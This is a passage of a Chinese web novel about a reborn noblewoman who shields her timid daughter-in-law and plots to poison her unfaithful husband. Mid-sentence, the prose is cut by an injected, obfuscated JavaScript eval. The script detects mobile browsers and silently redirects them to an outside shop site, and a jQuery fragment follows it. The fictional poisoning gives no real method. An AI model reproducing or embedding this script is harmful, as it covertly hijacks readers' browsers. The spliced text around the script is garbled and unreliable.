《怂包女配的恶毒婆母重生后》 3. 救命呀!婆母疯了呀! 窗外的雨渐渐歇了,临近晚间的阳光刺破云层,落到长安城内,将氤氲的水汽吹散,重新笼出热气来,角落里的冰缸静静的散着凉意,整个厢房都静悄悄的。 送白玉凝来的两个嬷嬷正在外间说着闲话,并未发现床榻间的白玉凝已经醒了。 她并未坐起身来,只是用那双潋滟的桃花眼细细扫过四周。 挂在床榻间的床帐以锦绸金丝所钩,透过床帐一线间,能窥探见床帐外、厢房间的物事。 金钩玉珠的帘帐,黄花梨木的架子,堆锦铺缎的临窗矮榻,榻上摆着一方案几,其上摆着一方纯金的梨花香炉,梨花惟妙惟肖,自花蕊间一线薄烟上升,在窗旁映出紫色烟光,角落处的冰缸中浸泡着百草之乡贡来的草叶散出淡淡冷香,用以驱散蚊虫,一两千金。 这里的每一口气,都是奢靡的味道。 忠义侯府富贵,秦夫人为最受宠的无忧郡主,仗着满门战死的功劳,成了大陈的活标杆,当圣上要嘉奖武将时,都要带上她一份,用此以示大陈厚待忠臣。 圣上偏爱秦夫人便罢了,秦夫人自家人也那么争气,人死光就算了,竟还冒出来个养兄来,她那养兄人在边疆,却依旧替她撑着一片天,每每边疆有军功来,那镇南王什么都不要,只向圣上请奏赏无忧郡主,流水一样的赏赐进了公主府,堆砌起了秦夫人的名望与地位。 这样好的人家,本该是她的夫家。 从小时起,她的父母便告知她,日后她要进忠义侯府,她也一直向着忠义侯府的世子妃这个头衔而努力,直到他们家落难。 他们家落难后,父母曾多次恳求忠义侯府,但,忠义侯府不肯帮忙,只袖手旁观,甚至,秦夫人立刻给她的未婚夫毁了婚约,并迎娶了新人。 昔日的恩情说散就散了,她的父母说流放就流放了,她的心中便对秦夫人生出了几分怨恨。 你们忠义侯府这样大的家业,忠义侯这样受圣上恩待,秦夫人这样体面,你们为什么不肯来帮帮我们家呢? 当初秦夫人与她母亲是手帕交,那样深厚的感情,难道都是作假的吗? 她就抱着这样的怨恨被铐上了枷锁,即将与父母一道去流放。 但是,就在她即将被流放的前一日,她突然在牢狱中被人提审。 提审她的人是一个戴着面具、锦衣华服的弱冠男人。 那一夜,提审她的人告诉她,皇上苛待白家,秦夫人背信弃义,但他愿意给白玉凝一个机会。 只要白玉凝想办法留在侯府中,并且偷到侯府中的一样东西,他便能救出白玉凝还在流放的父母,让他们免受流放之苦,甚至——给他们官复原职。 白玉凝如何能不答应呢?她不知道对方的身份,但她别无选择。 她跪下,磕头,掷地有声的应了对方的话。 对方对她的态度很满意,后又安排她出狱,并且让她重新和周渊渟见了面。 今日周渊渟以为一切都是机缘巧合,但实际上,这是她筹谋已久的计划,她与周渊渟自幼相识,自然知道该如何让周渊渟将她带回侯府。 她现在已经身在侯府了,虽然有些危险,秦夫人看上去很不想将她留下来,但是既然已经来了,她就有法子扎根至此。 她要做的,就是在被赶出去之前,偷到恩人所要的东西——大陈南疆的战略图。 大陈南疆战略图只有两个人有,一个是镇南王,一个,是忠义侯。 不,应该说,当初,大陈南栾战略图只有镇南王一个人有,这是秦家人镇守边关多年,亲手绘制下来的地图,这地图不知道掺过了多少秦家人的血,这是秦家的荣耀,其中寓意深厚。 再后来,秦夫人与忠义侯府订婚后,镇南王携带着使用多年的战略图,风尘仆仆自边疆而来,将这战略图做以嫁妆,填进了妆奁中,连同他的赫赫战功,一起嫁入了忠义侯府。 外人皆说,这布满血腥的战略图,就是镇南王对忠义侯的敬告:善待秦夫人,否则—— 而她此行,就是要偷走这副战略图。 她闭上眼,深深地吸了一口气。 时至今日,虽然恩公不曾说过他是谁,她已经猜到了恩公的身份了。 她非是柳烟黛那种出身草莽、懦懦弱弱、只知道做饭、讨好男人的女人,她读过书,知道局势,听过国论,她聪明的很。 这幅战略图放在忠义侯府什么用都没有,只是镇南王亲手悬在忠义侯脑袋上的一把刀,但是若是放到军中,放到边关去,那可就不一样了。 恩公要偷走战略图,就说明恩公想针对镇南王、让镇南王死,而想针对镇南王、同时还能将她一个即将流放的囚犯救出来的人,就只有—— 床榻间的白玉凝看着那华美的床帐,无声地勾起了一个微笑。 她不在乎恩公是谁,她只在乎她的父母。 她要带着她的父母活下去,哪怕是踩在镇南王、秦夫人、甚至周渊渟的尸骨上。 —— 与此同时,书海院东厢房中。 外头的雨停下来时,柳烟黛正靠在矮榻上扭头看着窗外。 她从没想过,有朝一日自己能嫁进侯府来。 她其实就是寻常百姓家的孩子,只是因为家长长辈当兵,曾舍命救下过秦家老爷子,才得了这么一桩婚事,但实则他们家很落魄,父亲死后,叔父领养了她,但因为叔父太忙,经常把她丢在军营里。 军营都是男人,刀枪,血和尸体,她好怕,叔父威严,她更怕。 没人教过她什么规矩,她也不知道如何与外人相处,她只记住父亲与她说,听叔父的,叔父给她的一定是最好的。 她听叔父的,嫁到了侯府里,叔父说,要孝敬婆母,做个好儿媳,她便牢牢记住,来孝敬婆母。 她自小在边关长大身边只有一个老妈子照顾,潦潦草草的长大,幼时吃过苦,这身骨肉薄,长大了也养不好,人很瘦弱,鬓尾发黄,面色也白,唯有那双兔眼,水润润的亮着。 眼瞧着天色渐晚,一想到一会儿要去给婆母问晚礼,她便觉得心里惶惶。 婆母...婆母一贯是不喜欢她的,每每婆母私下里见了她,都要耳提面命,呵斥她许久,今日在众人面前,婆母肯维护她,大概也是看在叔父的面子上,但一旦到了私下里,婆母定是还要责备她。 她还未曾见婆母,便已经怕了,想要讨好婆母,却又不知道如何能哄婆母开心,只能自己闷在窗旁难过。 她好像怎么做,都无法让婆母喜爱她。 眼瞧着世子妃如此落寞,一旁便有嬷嬷上前来开导她,并教着她该怎么做。 “世子妃不必担忧,夫人肯为您出头是好事,夫人虽说脾气坏了些,但性子通透,从不当人一面背人一面的祸害人,夫人说不会叫人顶了您的位置,便绝不会叫您受委屈。” “但是呀——大少爷也是夫人的亲生孩儿,夫人总不可能为了您,舍了她的孩儿不要吧?夫人在人前给您脸面,您也得给夫人台阶下呀。” 柳烟黛听了这话,浆糊一样的脑子仿佛找到了一条路,她问:“如何给婆母台阶下呢?” 那嬷嬷微微一笑。 这书海院中的嬷嬷们都是周府中的老人,当初秦府和周府成婚,各自带着两拨奴仆成了一个侯府,秦禅月掌了后院,这秦府周府的嬷嬷就都得听她的,但她更喜欢使自己手下的人,所以便将这些周府的人都分去伺候两个少爷,秦府的老人继续伺候她与周子恒。 这些嬷嬷以前伺候忠义侯,现在伺候周渊渟,一门心思都是向着周家,向着这三个姓周的男人的,虽说对柳烟黛也算是尽心,但是他们不会教周渊渟去待柳烟黛好,他们只会教柳烟黛去讨好周渊渟。 他们是周渊渟的手和脚,日日夜夜不断修建着柳烟黛的枝丫,逼着柳烟黛变成一个合格的妻子。 “咱们女人家,只要伺候好夫君便可,今日,您的婆母为了维护您,将您的夫君关在了祠堂中,纵然夫人不说,但她心里也一定是痛的,您呐,就去给大少爷送些吃食,晚间去给夫人问礼时,再去向夫人替大少爷求情,这样,夫人不就有台阶下了吗?” “等夫人将大少爷放出来了,大少爷定然记着您的恩情,日后也不会再给您脸色看,等那白姑娘一被送走,您不还是侯府的世子妃吗?” 教她的嬷嬷言辞恳切,句句都是为她好,柳烟黛听着也觉得颇有道理,当即便亲自去小厨房做了一些吃食,匆忙去了祠堂间。 但奈何,她到祠堂之后,祠堂中的周渊渟不肯见她。 今日周渊渟在众人面前被母亲责罚,觉得没了脸面,现下正是怒火中烧的时候,他生来就是侯府的嫡长子,父亲宽厚,母亲偏疼,在内在外什么时候受过委屈? 可是今日,母亲居然为了柳烟黛而惩罚他!过去十几年,母亲都不曾这般对待他! 他心里又恨又恼,隐隐还觉得自己丢了颜面,但是他没胆子去怪责罚了他的秦禅月,只能在心里暗恨柳烟黛。 都怪柳烟黛这个女人,自从她来了,他就没有过一日顺心日子!还有他的白玉凝——白玉凝是那样柔弱的姑娘,以前在白府时就是善解人意的性子,从不曾与人发生半点争执,后来流落在外后,又过了许多苦日子,这样好的白玉凝,却因为柳烟黛,将被赶出侯府! 所以,当柳烟黛来到祠堂前送饭的时候,周渊渟隔着一扇门对着柳烟黛极尽嘲讽。 “你以为你装出来这幅模样我就会原谅你吗?你做梦!若非是你,母亲怎么会赶走白姑娘!” “你不过是个乡野来的泥腿子,母亲也厌你厌的很!” “我迟早要休了你!” 那一阵阵声音从木槅门里面传来,带着切齿的恨意,如同一把锤子,声声将门外的柳烟黛的脊背凿锤下去。 夫妻,本该是最亲近的、互相扶持的人,但他却一直厌恶她,恨不得把她丢到泥潭里踩死她。 四周的丫鬟们都能听见那木门后的怒骂声,她无地自容,只能含着两包眼泪落荒而逃。 周渊渟这样厌恶她,看来日后是一定要休弃了她的。 婆母能挡得住一次,难不成还能挡一辈子吗?待到日后周渊渟中举做官,定然是不会听婆母的话的,更何况,婆母本来也不喜欢她。 她被休弃的结局也改变不了。 她一想到自己要被休,便觉得心如死灰,一路到赏月园去求见婆母、准备给婆母问安时,也是垂头丧气的。 —— 柳烟黛到赏月园的时候,天色已是酉时,正近黄昏,这时候,秦禅月已亲自从库房中拿出来了一瓶毒药。 方才的薄雨已散,露出了半轮红彤彤的夕阳,落下粘稠流金的赤色光芒,将屋檐上的琉璃脊兽照的熠熠生辉,脊兽之下,回廊上正有丫鬟点灯。 落日熔金间,一抹夕阳落窗,秦禅月正借着窗外的斜阳光芒,仔细地将手中的毒药丸倒出来,拿出玉碾子,缓缓碾磨成粉。 这东西——她是给她的好夫君备下的。 上辈子,她的好夫君忠义侯周子恒背着她在外面养了外室,甚至生了孩子,她一落势,忠义侯立刻将她赶出家门,并外面养的外室接回来了,让她沦为笑柄,任由那外室欺压她,让她寒冬活活病死。 只这样一想,她就觉得恨得胸口疼。 轮到了这辈子,她也不会让忠义侯好过。 若是换个旁人,可能会向跟忠义侯和离,只求一个一拍两散,但若落到秦禅月的身上却是不可能——和离什么和离!她若是和离了,过去那十几年的苦就白白吃了?被人傻骗了十几年,她怎么可能咽下这委屈?这满府的东西岂不是还要分忠义侯一份?想得倒美! 当初若不是娶了她,周子恒区区一个次子怎么可能越过嫡子去封侯?她才不和离,他们秦府没有和离,只有丧夫!等忠义侯死了,这整个侯府都该是她的! 她该从忠义侯手中讨回来,上辈子忠义侯要了她一条命,这辈子她也要忠义侯一条命,公平的很! 到时候,忠义侯死了,她再将那两个儿子撵出去,然后带着她的儿媳过上痛快日子。 她只要再受几日委屈、吃几天恶心,便可大获全胜了! 不就是演吗?之前周子恒是怎么演她的,她现下就要怎么演回去! 秦禅月只这般一想,手上碾药的劲儿便更大了,恰好珠帘外有丫鬟来禀,说世子妃求见,她铿锵有力的回道:“进!” 等柳烟黛低垂着头,恹恹的从门外行进来时,便瞧见了婆母拧着眉,咬牙切齿的碾药。 婆母生的好,年过三十,却依旧枝丫饱满,艳如三月桃李,白嫩嫩的指尖捏着一把玉碾,红唇紧紧抿着,不知道在碾什么。 瞧见婆母好似在忙,秦禅月到了嘴边的问安迟疑着不知道该不该说出来。 秦禅月当时听见脚步声,一抬头瞧见柳烟黛那脸色,眉头便蹙的更紧,问道:“你这是什么脸色,谁又给你委屈受了?” 柳烟黛听见婆母三分冷七分厌的声音,顿觉心中一紧,双膝一软,跪在地上便开始哭。 “婆母莫要休了儿媳。”她哽咽着抹眼泪,道:“儿媳一定好好伺候您。” 秦禅月就见不得柳烟黛哭,看一次窝火一次,谁家的儿媳妇天天哭啊!她几欲拍案而起,又生生忍下,只咬着牙,道:“谁要休弃了你?我已说过,有我在一日,便没人能休弃了你。” 柳烟黛便抽噎着将今日在祠堂之事与秦禅月说了一遍。 秦禅月听了两句,知晓柳烟黛是被那几个嬷嬷撺掇着去祠堂前送膳的,便觉得心头火冒。 书海院那些碎嘴婆子们越发没有规矩了,竟是撺掇主子来了! 她当即一拍椅子,那张端庄艳丽的面上浮出几分恨,掷地有声的道:“一个嬷嬷的话,你也要当成圣旨去听吗?给他送什么东西,饿死算了!他又凭什么休了你?也不看看自己是什么东西!你叔父与我自幼相识,这姻亲断不得,我儿子要休了你,我便换一个儿子!” 柳烟黛哽咽着点头:“是——啊?” 她昂起一张白胖圆嫩,哭的潮红的面,愣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14036336|148867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愣的瞧着自己的婆母。 婆母以前最讨厌她了,瞧见了她就拧眉头...不知什么时候竟然这般护着她了,连儿子都不要了吗。 她一时分不出婆母说的是气话还是真心话,便怯懦着不敢开口,但婆母似乎犹觉不够,转而向外间喊道:“来人!” 外间立刻有丫鬟走进来,便听秦禅月道:“带两个人去祠堂,对周渊渟行家法,打上二十板子!” 二十板子!这不得打的皮开肉绽! 柳烟黛抖了抖,那一瞬间竟是先怂的缩了缩脖子——婆、婆母打过我夫君,可就不能打我了呀。 丫鬟震惊的看了一眼柳烟黛,随后赶忙低头、领命而下。 天老娘哟,世子妃这是告了什么状啊!竟然能让夫人这般惩戒世子! 一旁的柳烟黛也吓坏了,她抓着自己的袖口,磕磕绊绊的说道:“婆、婆母也不必如此,夫君科考在即,若是,若是打出什么毛病来——” 秦禅月冷呵了一声,从牙缝里挤出来一句:“背信弃义、抛妻弃情的男人,有什么好疼惜的?打死算了,左右有没有他,你都是我的儿媳妇,且等着,过些时日来,我便寻个由头,将他打发出去,就当我没生过吧。” 上辈子她死时候,这儿子冷眼旁观,这辈子她就当她没生过他,让他也出去体会体会什么叫众叛亲离。 柳烟黛唇瓣一直抖,她瞧着婆母的姿态不似作假,不由得有些害怕。 “婆母,这不好。”她将自己学来的那一套掏出来,道:“我们女子夫为妻纲,得伺候夫君,男人...男人三妻四妾都是常事,我们女人要从一而终,孝顺公婆。” 秦禅月听了“三妻四妾”这几个字,就觉得心口发堵,她养兄一辈子手腕强硬,怎么就教出来了这么个废物呢? 别人都是将这些话捧着面子上说,背地里还是该怎么舒坦怎么来,偏她柳烟黛是真的信了,处处办事都要遵规守矩,结果被人欺之以方,弄成了这般模样。 像是一只被关在笼子里的绵羊,被教训着要伺候好男人,等她脱离了笼子的时候,自己反倒觉得离了男人就活不成了。 秦禅月一急,又要骂她。 “你真是脑子锈掉了,旁人都说什么礼仪重规,背地里的脏事可没少干,你瞧瞧除了你,谁真的把这些话信了?外人说女子要侍奉夫君,外人还说夫君不得宠妾灭妻呢,你夫做到了吗?你夫都踩在你脑袋上讨好别的女人了,你还在这里侍奉什么!” “从一而终这话简直是笑话!大陈少了二嫁女吗?我当初若不是嫁了人,我自己都开府养男宠了!男人三妻四妾的多,女人何尝不能背地里豢养呢?不过是看谁拳头大罢了,你是被人教坏了脑子,自己把自己锁起来了!” 秦禅月一骂人,柳烟黛就开始抖,秦禅月瞧着心疼,她盯着柳烟黛的脸看了一会儿,想,柳烟黛就是没见过什么男人,来了一个男人立马就奉成祖宗,跪着伺候,浑然不知她其实有很多路可以走。 她日后可以和离,和离之后可以再嫁,就算不想再嫁,也可以在自己院子里养男人,何必只盯着一颗歪脖子树吊死? 但是她口头上的话柳烟黛也听不进去,且柳烟黛那么点小胆子,不被人逼一逼,她也不敢去干,秦禅月想,她得给柳烟黛弄点出格的,让柳烟黛知道,这天底下的女人活法多了去了,没必要就盯着一个周渊渟瞧。 她便缓了缓语气,道:“莫怕,男人这种东西还少了吗——今儿个婆母给你寻八个送你房里去,你!按!天!换!等周渊渟被我打杀出去,你去养外室都可。” 她给柳烟黛这些人,倒不是非要让柳烟黛用,她知道柳烟黛没那个胆子,她只是要告诉柳烟黛,柳烟黛可以有更多选择,不必在乎一个周渊渟。 而柳烟黛听见这大逆不道的话,腿都软了三分。 婆母在说什么!她怎么能找八个男人呢...太、太多了呀!怎么用的过来呀! 她有心问一问婆母这是突然怎么了,但是奈何嘴笨,半天也说不出来一句好听的话来,正好看见婆母在碾药丸,便磕磕绊绊的起了个头,道:“婆母,婆母...婆母为何在碾药?可是身子不舒坦了?儿、儿媳来替您碾药吧。” 听到“药”这个字儿,柳烟黛便想起来上辈子这傻儿媳是真替她奔走的事儿,面庞便软了些,她向柳烟黛挥了挥手,道:“过来,婆母告诉你为何。” 她得告诉告诉柳烟黛她的打算,好叫柳烟黛心底里有个谱,别总像是傻子一样把脸凑上去给别人打,让柳烟黛知道,这侯府里面的一些人本就不算个人,不必对他们心慈手软。 柳烟黛这孩子,脑子不好脾气还软,但她是真的将秦禅月放在心里头敬爱,秦禅月与她言谈的事,她也绝不会泄出去。 她只有一个优点就够了。 见婆母挥手,柳烟黛便从地上爬起来,一路拘谨的走到秦禅月的案旁,她瞧见婆母那张浓艳的面上浮起了几分笑,这笑里带着三分恨,两分怨,瞧着像是怨气缠身的女鬼,但偏偏又强行压着,挤出来一脸狰狞的笑来。 柳烟黛心里一阵发抖,她更害怕了。 婆母这是怎么了呀! “婆母这两日呀,刚得知一件事。”这时候,婆母终于开口了。 她听见婆母道:“我的好夫君,在外面背着我养了一户外室,啧,养了十几年呀,许多与他亲近的人其实都知道,只是都与他一起瞒着我,背地里还偷偷笑我呐。” “笑我自以为是,笑我得意自满,笑我秦禅月一辈子高傲,其实呢?我以为的美满就是个笑话!” 说到此处,婆母脸上的狰狞之意更显。 她一想到素日里那些揣着明白装糊涂,还夸赞她驭夫有道的人的嘴脸就觉得丢人极了。 柳烟黛听的也跟着生恼,她急的直跺脚:“怎、怎能如此?公爹太过份了!” 她来这里就是替叔父照顾婆母的,婆母受了欺负,她要替婆母想办法呀,但她该怎么办呢? 柳烟黛那废物脑袋急得团团转,什么都没想出来,只想到一条:给叔父写信告状。 “是啊,他太过分了。”婆母却十分淡然,只瞧着手里的毒粉末,道:“所以我做了这个。” 柳烟黛愣了一下,就见婆母脸上浮现出几丝大仇得报的表情,说道:“这是毒,今晚我就喂他喝了,要不了半个月,他就死了。” 柳烟黛听见“死了”的时候,只觉得脑袋被人砸了一下。 死、死了? 这不是毒杀人吗? 婆母似乎看到了什么十分美好的画面,眉目舒展,眉眼开怀,转而向柳烟黛说道:“婆母要毒死你公爹的事,你记得这件事莫要告知旁人呀。” 婆母要毒死你公爹的事,莫要告知旁人呀。 莫要告知旁人呀。 旁人呀。 呀。 呀! 婆母呀! 柳烟黛表面上站在原地呆若木鸡,心底里却在失声尖叫。 完、完蛋啦!公爹养外室后婆母失心疯啦! 4. 选八个男人 “婆、婆母——”柳烟黛哆哆嗦嗦的劝:“这样不好,这样犯律法。” 律法? “是他先犯了我秦府的家法,他怎么对我,我就怎么对他,烟黛,你要明白,你应该有一套自己的律法,旁人怎么对你,你就怎么对他,否则,岂不是一直被人欺辱。” 秦禅月转而看向柳烟黛,一双狐狸眼中似是含着几丝泠意,温温柔柔的摸着她的脑袋道:“烟黛,这些话,婆母只与你一人说过,你可要小心,千万别让人发现呀,包括你叔父,知道吗?” 她那一步三软腿的怂包儿媳抖啊抖,抖啊抖,跟筛糠一般,看着又要哭了,但这回,大概是涉及到了秦禅月,她竟然莫名多了几分骨气,捏着自己的拳头说:“回,回婆母的话,烟黛不会与任何人说的。” 就算是有人把刀架在她脖子上,她也不会说的! 恰在此时,门外响起了一阵脚步声,有丫鬟在外间道:“启禀夫人,侯爷的小厮回来了,说再过半个时辰,侯爷便回了。” 那丫鬟的声音响起来时,柳烟黛正沉浸在“婆母要杀公爹”这个念头中,本就瑟瑟发抖,突然听了动静,这个不争气的儿媳竟是被吓的“啊”的低呼了一声。 瞧她那点小胆子吧! 秦禅月收好了手中的毒药,掐算着时辰,继而道:“去小厨房。” 她要亲手炖一碗补汤,等她的夫君回来后,给她的夫君送过去。 秦禅月临走之前,还回过头来,气定神闲与柳烟黛道:“你早些回去歇着,周渊渟和白玉凝的事都不必管,我会处理。” 柳烟黛恍恍惚惚的随着婆母行出了赏月园,一路回了书海院中。 她回到书海院中的时候,旁边的嬷嬷拧着眉等着她。 今日柳烟黛去祠堂后,被世子爷骂走后、去跟侯夫人告状,导致世子爷被骂的消息早已传遍了全府,这让书海院的嬷嬷们心疼坏了,背后都跟着悄悄骂。 “世子妃真是什么都做不好!让她去替世子爷求情,反倒害世子爷被骂了!” “她什么规矩都不会,娶回来真是白瞎我们世子爷了。” “得好好教教她,这样怎么行呢?” 所以她们早早就守在门口,等着柳烟黛回来,见她回来了,便赶忙与她说道:“世子妃!老奴叫您今日去给世子送膳食,您怎么还将世子爷激怒了呢?世子爷这般与您争执,全都是您的过错呀!谁家的妻子这般惹夫君讨厌呢?您得快些想着怎么去哄好世子爷,否则,您是会被休弃的啊!” 柳烟黛站在原地,半晌,惨白着脸说:“别管这个了。” 休了她已经不是什么大事儿了...因为她婆母疯了呀! 从某种角度上来看,秦禅月已经成功了,因为柳烟黛现在确实不在乎周渊渟怎么样了。 嬷嬷愣了一下,还不曾问一句“为什么不管了,这么大的事儿怎么能不管呢”,便听到柳烟黛道:“快拿笔纸来,我要给叔父写信。” 她得马上给叔父写信,告知叔父...等等,她答应婆母不能告知叔父的! 柳烟黛攥着手帕搅紧的动作都跟着一顿。 “您要给镇南王写信做什么?”那嬷嬷转念一想,以为柳烟黛要给镇南王告状、说侯府人对她不好的事,顿时不赞同的回答道:“您是想以镇南王的权势来胁迫世子爷低头吗?这可不是个好主意,您是从南疆来的,本就不会规矩,现下不仅不学,还要倒行逆施来威逼夫君,这可不好。” “您已嫁了人,便该以夫为天。”瞧着柳烟黛愣愣傻傻的样子,嬷嬷语气里难免带了几分长辈的训诫之意,她道:“怎能来逼迫世子爷呢?您需得伺候着世子爷,世子爷怨您,您得越发好生伺候,迟早有一日,您会感动世子爷的,到那时候,就有您的好日子过了。” 柳烟黛有心辩解一句,但瞧着一群嬷嬷簇拥着她,用那严厉的目光盯着她,竟不知道该如何辩驳,面颊都微微涨红,却说不出一句话来。 而就在这时,院外来了人,院内的嬷嬷暂且放下柳烟黛这边,转而行到门外去。 这几个书海院的嬷嬷才一过长廊,便瞧见外头站着几个赏月园的嬷嬷,赏月园的嬷嬷们还带着几个奴仆,一脸杀气腾腾的等着。 “呦,您几位怎的来了,是夫人那边有什么吩咐吗?”书海院的嬷嬷一出去,语调便有些阴阳怪气。 这书海院的嬷嬷,多是当初周府那边过来的嬷嬷,而秦禅月这边的,是她秦府的嬷嬷,男方女方的两边嬷嬷凑到一起,之前就有些摩擦,常年都不怎么和睦。 柳烟黛寻出去一看,竟是婆母身边最得力的心腹嬷嬷来了。 婆母的心腹嬷嬷姓赵,面色冷淡的瞧了书海院的嬷嬷一眼,道:“夫人有命,你们几个嬷嬷在背后乱嚼舌根,仆大欺主,扰了侯府清净,全都罚到庄子里去做苦役。” 书海院的嬷嬷惊得瞪大了眼,道:“你胡说什么?我可是侯爷的奶嬷嬷!夫人发配我,如何与侯爷交代?” 赵嬷嬷根本不管,只一挥手,道:“拉下去!” 她身后的粗使嬷嬷便一起冲上来,强行将这几个嬷嬷扯走。 被扯下去的嬷嬷还在喊:“你敢,你们敢,等侯爷回来,等侯爷回来——” 那赵嬷嬷当没听见,只迅速接管了书海院的事,随后将书海院中伺候的嬷嬷丫鬟都给上下打发过一遍,然后换上秦禅月的心腹。 以前秦禅月懒得管书海院的事,但现在她要管了。 这群嬷嬷她瞧着都碍眼,所以收拾收拾,全都扔到了郊区的庄子里去,换上了她的多年的、最忠心的秦府心腹,谁都别想去欺负柳烟黛。 这还没完呢。 她马上要过上杀夫发财的好日子了,自然也得给她儿媳铺好路,她们婆媳俩一起享福才对,所以秦禅月大方的一挥手,给柳烟黛从秦家的私兵中挑出来八个龙精虎猛的青年,全都送到了柳烟黛的院子里去。 她说要让柳烟黛过上好日子,就一定要给柳烟黛,她秦禅月可是滴水之恩涌泉相报的人,给柳烟黛的,也一定是她最好的。 这些都是她秦家的私兵——她父死了,但是却给她留下了这么一队人差使,做她的后盾,挑出来几个做男宠更是绰绰有余。 后来她养兄在南疆也曾补给过她一些私兵,她手底下一百来号人呢,只是后来这一百来号人都被她用在替养兄平反上,一个没回来,否则秦禅月也不会落魄到那种地步去。 秦禅月早都习惯了这种随意指挥的死士私兵,但柳烟黛却不是。 这是柳烟黛第一次瞧见这么多,这么多男人。 柳烟黛眼睁睁瞧着八个壮硕青年往她厢房门口一站,嬷嬷一声令下,他们当即甩开膀子就开脱,最后赤着上半身,“啪”的一声跪了一地。 柳烟黛眼前发昏了。 这八个人的粉子都挺奶,啊不是,这十六个的那个,啊——啊!啊!! 柳烟黛抬起手,捂住了自己的下半张脸。 “世子妃。”一旁的嬷嬷笑眯眯的对柳烟黛说:“夫人的意思是这些人给您留着伺候,您挑几个顺眼的留下吧。” 这样隐秘的事,这样不可告人的事,这嬷嬷说的光明正大! 偏此时,整个书海院都被秦禅月的人接管了,周渊渟在祠堂里跪着,身边的贴心人还都被处置了,竟是无一人能往外传话! 秦禅月做事一贯这样胆大凶猛,不按套路出牌,像是峨眉山上的猴,不讲道理的窜下来抽人两嘴巴子,寻常人谁能躲的开呢! 柳烟黛就躲不开。 她目无神的盯着那八个男人看,半晌后,猛地向后一倒——短暂的晕厥过去了。 这崩了一天的弦,终于断了。 “世子妃?”嬷嬷吓了一跳,匆忙将柳烟黛扶起来,掐着人中掐醒。 那小白兔一样的世子妃醒来之后,第一句话就是:“扶我起来,我要写信。” —— 那一日晚间,赏月园出了一封信,书海院又出了另一封信。 一封是秦禅月的国家大事,写满了秦禅月的担忧,一封是柳烟黛的胡言乱语,写她婆母要给她找八个男人,这两封信一前一后的从侯府出了长安,直奔着南疆而去。 —— 而这个时候,秦禅月的夫君、忠义侯周子恒在何处呢? —— 此时,夜幕降临,繁星落空,春秀坊的一处民宅中。 忠义侯周子恒正陪着他的外室方姨娘窝在矮塌上说话。 “夫君今夜可留下陪我吗?”方姨娘生的柔弱娇小,窝在周子恒的怀抱中,眉眼间满是依依不舍。 “怕是不可。”周子恒温柔的抱着他的姨娘,但话语却毫不留情,他道:“秦禅月在等我。” 说着,他叹了一口气,道:“你也知秦禅月的性子,她那般善妒,我只好藏着你,真是委屈你了。” 方姨娘眼眸里掠过几分不甘。 她如何能不恨秦禅月呢? 早些年,她还是个姑娘的时候,是她与周子恒先好上的,他们俩爱的惊天动地,互不分离,本来周子恒该去向她提亲的,但是后来,周子恒在家族的安排下娶了秦禅月。 她争不过秦禅月,就想离开周子恒,但是没想到,周子恒对她百般拉扯,两人暗地里纠缠了许久,周子恒成婚的前一夜,甚至还提前将她接进了那刚建造好的侯府,他们在他与秦禅月的婚房之中做了一夜的夫妻,在秦禅月之前,他先属于她。 再后来,秦禅月有孕,她恰好也有孕了。 她分明与秦禅月一起有孕,但秦禅月却受尽荣耀宠爱,她却什么都没有,她一时心伤,本想离开此处,本想一人安稳带孩子长大,周子恒借公务之名追上百里,又将她苦苦寻了回来。 他们像是缠绕在一起的两根藤蔓,怎么都分不开,爱意浓郁的围绕着彼此,最终,她为了爱情咽下所有委屈,想给周子恒做妾。 嫁不了他做妻,便做妾吧,毕竟这天底下的男人谁不是三妻四妾的,但,偏秦禅月竟不肯! 她竟然搬出来什么秦府家规来说,不允周子恒纳妾。 秦禅月不肯,她又舍不得周子恒,只能这么不清不白的成了外室。 秦禅月将她迫到了这种境地,竟然叫她连个名分都没有! 这样的女人,谁娶了谁倒霉。 她略显委屈的低下头,问:“那你更爱谁?” “当然爱你。”周子恒掷地有声的回答道:“只爱你,我与她在一起,不过是权势所逼罢了。” 他这句话却是真话,他心底里,真的只爱方青青,只不过这爱没有权势重要罢了。 若是有一朝秦禅月失了势,他会休弃了秦禅月,然后谁都不要,只要他的青青。 方青青听闻此言便高兴了,笑着道:“夫君去忙便是。” 她虽然没有得到周子恒的人,但是周子恒的心在她这里,这就足够了!她已经赢了秦禅月一头了! 周子恒享受着方姨娘的温柔小意,低头吻了她的额头一下,随即起身,离开了方姨娘的外院。 马车辘辘,周子恒从外室院门中回了侯府中。 此时,正是戌时中。 戌时中的侯府挂满了花灯,各种光芒叠影落下,亮如白昼,周子恒自门口行进时,身上绸缎上的金纹随着花灯影子浮动,转瞬间,便露出来一张清隽雅逸的面。 忠义侯,周子恒时年不过而立有四,正是好年岁。 周子恒出身好,高门贵子,读过书,性子温和,从不与人争执,他生的也好,晚间自府门口回来,穿过回廊时,晚风过长廊,拂起他的袖袍时,仿若高山白雪。 静而沉稳。 一旁的丫鬟们瞧着都红了脸,垂下眼眸去不敢乱看,只侍奉着周子恒回了书房中。 周子恒身上虽有忠义侯的爵位,但他并非是那种只知玩乐的富贵荒唐人,他在宫中有官职,为太子太傅,每日虽说不上是日理万机,但确实繁忙,常常神龙见首不见尾。 因着沾了太子,所以有些事物不可对外言,因此,不管周子恒去了哪里,秦禅月都不曾逼问过他。 她相信他。 这也给了周子恒机会,每每他留恋花丛时,都会说自己是在忙公务。 秦禅月便再也不问。 今日,周子恒也如往常一般,从府门外回了赏月园内。 赏月园便是他与秦禅月平日里住的地方,这是他取的名字,赏月赏月,是赏天上的月,也是赏人间的人。 秦禅月很喜欢这个名字,而周子恒也很喜欢——能不费工夫的将秦禅月糊弄的很开心,他也很满意。 周子恒行到廊檐下的时候,正好瞧见秦禅月在厢房中坐着的影子,从他的角度去看,能看见秦禅月的半张侧脸。 她艳丽的像是鎏金牡丹花,唇瓣红润,身姿妖娆,只瞧见个背影,便知道是个不省心的女人。 